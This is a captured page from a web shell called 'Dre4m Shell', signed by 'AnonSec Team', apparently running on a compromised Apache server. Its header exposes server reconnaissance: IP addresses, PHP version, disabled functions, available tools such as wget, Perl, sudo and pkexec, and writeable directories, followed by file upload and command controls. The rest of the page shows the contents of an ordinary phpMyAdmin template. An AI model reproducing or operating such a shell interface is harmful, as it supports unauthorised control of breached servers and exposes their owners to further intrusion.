Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.14.144.240
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpmyadmin/templates/table/structure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/phpmyadmin/templates/table/structure/display_partitions.phtml
<div id="partitions">
    <fieldset>
        <legend><?php echo __('Partitions')
            . PMA_Util::showMySQLDocu('partitioning'); ?>
        </legend>
        <p>
            <?php echo __('Partitioned by:');?>
            <code><?php echo $partitionMethod . '(' . $partitionExpression . ' )'; ?></code>
        </p>
        <?php if ($hasSubPartitions): ?>
            <p>
                <?php echo __('Sub partitioned by:'); ?>
                <code><?php echo $subPartitionMethod . '(' . $subPartitionExpression . ' )'; ?></code>
            <p>
        <?php endif; ?>
        <table>
            <thead>
                <tr>
                    <th colspan="2">#</th>
                    <th><?php echo __('Name'); ?></th>
                    <?php if ($hasDescription): ?>
                        <th><?php echo __('Expression'); ?></th>
                    <?php endif; ?>
                    <th><?php echo __('Rows'); ?></th>
                    <th><?php echo __('Data length'); ?></th>
                    <th><?php echo __('Index length'); ?></th>
                    <th><?php echo __('Comment'); ?></th>
                    <th colspan="<?php echo $rangeOrList ? '7' : '6'; ?>">
                        <?php echo __('Action'); ?>
                    </th>
                </tr>
            </thead>
            <tbody>
            <?php $odd = true; ?>
            <?php foreach ($partitions as $partition): ?>
                <tr class="noclick <?php echo $odd ? 'odd' : 'even'; echo $hasSubPartitions ? ' marked' : '';?>">
                    <?php if ($hasSubPartitions): ?>
                        <td><?php echo $partition->getOrdinal(); ?></td>
                        <td></td>
                    <?php else: ?>
                        <td colspan="2"><?php echo $partition->getOrdinal(); ?></td>
                    <?php endif; ?>
                    <th><?php echo htmlspecialchars($partition->getName()); ?></th>
                    <?php if ($hasDescription): ?>
                        <td>
                            <code>
                                <?php
                                echo htmlspecialchars($partition->getExpression())
                                    . ($partition->getMethod() == 'LIST' ? ' IN (' : ' < ')
                                    . htmlspecialchars($partition->getDescription())
                                    . ($partition->getMethod() == 'LIST' ? ')' : '');
                                ?>
                            </code>
                        </td>
                    <?php endif; ?>
                    <td class="value"><?php echo $partition->getRows(); ?></td>
                    <td class="value"><?php
                        list($value, $unit) = PMA_Util::formatByteDown(
                            $partition->getDataLength(), 3, 1
                        );
                        ?>
                        <span><?php echo $value; ?></span>
                        <span class="unit"><?php echo $unit; ?></span>
                    </td>
                    <td class="value"><?php
                        list($value, $unit) = PMA_Util::formatByteDown(
                            $partition->getIndexLength(), 3, 1
                        );
                        ?>
                        <span><?php echo $value; ?></span>
                        <span class="unit"><?php echo $unit; ?></span>
                    </td>
                    <td><?php echo $partition->getComment(); ?></td>
                    <?php foreach ($actionIcons as $action => $icon): ?>
                        <td>
                            <a  href="tbl_structure.php<?php echo $url_query; ?>&amp;partition_maintenance=1&amp;sql_query=<?php echo urlencode(
                                    "ALTER TABLE " . PMA_Util::backquote($table) . $action . " PARTITION " . $partition->getName()
                                ) ?>"
                                id="partition_action_<?php echo $action; ?>"
                                name="partition_action_<?php echo $action; ?>"
                                class="ajax"
                            >
                                <?php echo $icon; ?>
                            </a>
                        </td>
                    <?php endforeach; ?>

                    <?php if ($hasSubPartitions): ?>
                        <?php foreach ($partition->getSubPartitions() as $subParition): ?>
                            <tr class="noclick <?php echo $odd ? 'odd' : 'even' ?>">
                                <td></td>
                                <td><?php echo $subParition->getOrdinal(); ?></td>
                                <td><?php echo htmlspecialchars($subParition->getName()); ?></td>
                                <?php if ($hasDescription): ?>
                                    <td></td>
                                <?php endif; ?>
                                <td class="value"><?php echo $subParition->getRows(); ?></td>
                                <td class="value"><?php
                                    list($value, $unit) = PMA_Util::formatByteDown(
                                        $subParition->getDataLength(), 3, 1
                                    );
                                    ?>
                                    <span><?php echo $value; ?></span>
                                    <span class="unit"><?php echo $unit; ?></span>
                                </td>
                                <td class="value"><?php
                                    list($value, $unit) = PMA_Util::formatByteDown(
                                        $subParition->getIndexLength(), 3, 1
                                    );
                                    ?>
                                    <span><?php echo $value; ?></span>
                                    <span class="unit"><?php echo $unit; ?></span>
                                </td>
                                <td><?php echo $subParition->getComment(); ?></td>
                                <td colspan="<?php echo $rangeOrList ? '7' : '6'; ?>"></td>
                            </tr>
                        <?php endforeach; ?>
                    <?php endif; ?>
                </tr>
                <?php $odd = ! $odd; ?>
            <?php endforeach; ?>
            </tbody>
        </table>
    </fieldset>
</div>

Anon7 - 2022
AnonSec Team